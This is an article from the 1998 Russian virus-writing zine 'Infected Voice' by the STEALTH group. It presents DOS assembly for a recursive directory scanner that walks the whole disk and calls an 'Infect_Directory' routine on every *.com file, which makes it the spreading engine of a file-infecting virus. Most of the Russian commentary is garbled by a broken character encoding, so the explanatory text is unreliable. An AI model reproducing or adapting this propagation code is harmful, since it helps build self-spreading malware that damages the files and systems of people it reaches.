   INFECTED VOICE       ISSUE 98'06      (C)1994-98, by STEALTH group
 online h/p/v/a zine     (russian)      http://sourceofkaos.com/stealth
                                        mailto:noxyucT@usa.net
-----------------------------------------------------------------------
 'DIRECTORY TREE SCANNER', (C)1998, by Yanush Milovsky/SG
-----------------------------------------------------------------------

     H    ᥪp,  p p, p  稭騥
 pp,    p    祭    ᪮p  p. 
 襬  砥    ᯮ  ⮤   "dot-dot",   
 p    pp     p  
 pp  㪠   PATH.   ⮤
 ᬮp     ᢮  p(        p  p  )  祭
 p稢  ppp  p.  p    䠩 
 p㣨    쭮-⠪   ᫮   ⮤,         ᫥⥫
 ᪠p   pp ⥪饣 ᪠  p  p. H
  p p pp騩 , ⠢訩 㦥 ⠭p, ⮤:


          mov     ah,47h                ;稫  p path
          xor     dx,dx                 ;   䠩  p
          lea     si,[path]             ;p⮢ p,  㦭  ⮣
                                        ;⮡
          int     21h                   ;᫥ ᪠ ⥪饩 pp  
                                        ;⠫ ,  p p⮢ p

          mov     ah,3bh
          lea     dx,[root]             ;諨  p, 㤠 㤮 稭
          int     21h                   ;.

          call    Disk_Scan             ;맢 p楤p ᪠.

          mov     ah,3bh
          lea     dx,[path]             ;⠭ ⥪饩 pp 
          int     21h                   ;p p襫  p


  Disk_Scan  proc    near

          push    bp                    ;p BP  
          mov     bp,sp                 ;BP 㪠뢠  p設 .
          sub     sp,44                 ;p   p  44 ,
                                        ;  㦭  p  DTA

          call    infect_directory      ;맮 p楤p ᪠ 䠩 
                                        ;pp

          mov     ah,1Ah                ;⠭ DTA  p
          lea     dx,word ptr [bp-44]   ;  ⥪ p
          int     21h                   ;

          mov     ah, 4Eh               ; p pp
          mov     cx,16                 ; ᪥ *.*
          lea     dx,[dir_mask]
          int     21h
          jmp     short ok
;      p : ᬮp  ,  p⮬ 
;᪠   㪠 16 ⮫쪮 pp),  ᭠砫  '.'  '..', 
;               pp,    ⮬  㤥  室  䠩
;ᮮ⢥騥  ᪥  *.* -     ᮢᥬ        p  !
;⮬  p   ᪮쪮 pp  ⮣ ⮡ 㧭,   
;⢨⥫쭮 諨.

  Check:
          cmp     byte ptr [bp-14], '.' ;᫨ 窠,  ᪠ ᫥
          je      short next_dir        ;pp  ⮬  p
                                        ;.
          lea     dx,word ptr [bp-14]   ;饭 㪠뢠饥  
                                        ; pp 頥  DX
                                        ; [bp-14]=dta+1eh

          mov     ah,3Bh                ;諨   pp.
          int     21h                   ;  ⨫   p
                                        ; 

          jc      short next_dir        ;᫨ 訡  ᪠ ᫥ 
                                        ;⮬  p 

          call    near ptr Disk_Scan    ;p :)

  next_dir:
          lea     dx,word ptr [bp-44]   ;⠭ DTA    
          mov     ah,1Ah                ; ⥪
          int     21h

          mov     ah,4Fh                ;᪠ ᫥ pp
          int     21h
  ok:
          jnc     Check                 ;᫨  訡  pp
          lea     dx, [back_dir]        ;
          mov     ah,3Bh                ;   p 
          int     21h                   ;

          mov     sp,bp                 ;⠭ p砫 p設
          pop     bp                    ;, ⠭ BP,
          ret                           ;  pp.
  Disk_Scan  endp

               室,  ᭨ p p
  p楤p:

        1. ⠭ DTA.
        2. H諨 p pp.
        3. 諨   pp.
           (  ⨫   p  ).
        4. ⠭ DTA  p   ⥪.
           ( 襬 砥, 室 p  p饩   DTA)
        5. .2, 3     ᫥ p .
        6. ⠢ DTA  p   ⥪.
        7.    p  p.
        8. H ᫥ pp  ⮬ p .
        9.  .3.


  pp:

              c:\
               |
        NAME1-----NAME2   -  ⮣ p  DTA 㪠뢠 
          |                 p  ,   DTA1.
        NAME11---NAME12   -  ⮣ p  DTA2
          |
          |               -  ⮣ p DTA3

           ᮤp    ᥡ  ᫥⥫쭮  DTA   
 p ;  ⥪ DTA1, DTA2, DTA3.  祣  㦭?   ⮣
 ⮡,      㤥  p  p  p,   横, 
 諨  ᫥  pp    p饬 p . Hpp, 
 砫       p  諨 㭪樥 4eh p pp, ⨬
 NAME1,  ᫥  ⮣  DTA1  ᮤp    ᥡ    ⮩ pp. ⥬ 
 ⨫      p      (    諨   NAME1),
 ⠢ DTA      DTA2, ᭮ 砫  㭪樥 4eh
   諨  pp  NAME11  (DTA2  ᮤp NAME11). ⨫   
 p  , ⠭ DTA  DTA3,  諨  pp,
   﫨      p   p, ⠭ p ⮬ DTA 
 DTA2(p  ᮤp NAME11), ⥬ 㭪樥 4fh 諨 ᫥ pp
 NAME12,  p    ᢮  p   DTA2  ..   뢠 
   pp    ᪥. Hp㤭   ᫨   ⠢ DTA
 ﭭ,    p  ᪠     p  , 
 p    p  p  DTA,  p  ᮤp    p  
 pp    p饬  p  ,    横  .
     ⢥,    襨      p ,  p
 뤥  p  ,  p뢠 ⠬  p ⮦ ᠬ, 
     p뢠  . H -p,  ᨫ쭮 㢥稢 pp
 襣  p,  -p,  뢠  p  p祭    㡨
 ᪠    pp,   , p,   , ᯮᮡ   
 p     㭨pᠫ.
      ⥯p, ᮡ⢥, p楤p ᪠ 䠩  pp:

  Infect_Directory      proc    near

         push    bp                   ;p BP  

         mov     ah,2fh               ;稫  BX p ⥪饣 DTA
         int     21h                  ;
         push    bx                   ;p   BX

         mov     bp,sp                ; BP p設 
         sub     sp,44                ;p   p  44 ,
                                      ;p  DTA

         mov     ah,1ah               ;
         lea     dx,[bp-44]           ;⠭ DTA   p
         int     21h                  ;

         mov    ah,4eh                ;
         mov    cx,00100011b          ;H諨 p 䠩  ᪥ *.com
         lea    dx,[file_mask]        ;

  Find_Next:
         int    21h
         jc     exit                  ;᫨ 訡,  室
         Call   Infect_All            ;맢 p楤p p 䠩.
         mov    ah,4fh                ;H ᫥騩 䠩
         jmp    Find_Next             ;

  Exit:
         mov     sp,bp                ;⠭ p設 ,  
                                      ;p p 㪠뢠騩  DTA
         pop     bx                   ;⠭ p 砫쭮 DTA

         pop     bp                   ;⠭ BP
         mov     ah,1ah               ;⠭ 砫 DTA
         mov     dx,bx                ;
         int     21h                  ;
         ret                          ;室  pp.
  Infect_Directory      endp

  path     db   64 dup(?),0
  back_dir db     '..',0
  dir_mask db     '*.*',0
  file_mask db    '*.com',0
  root     db     '\',0


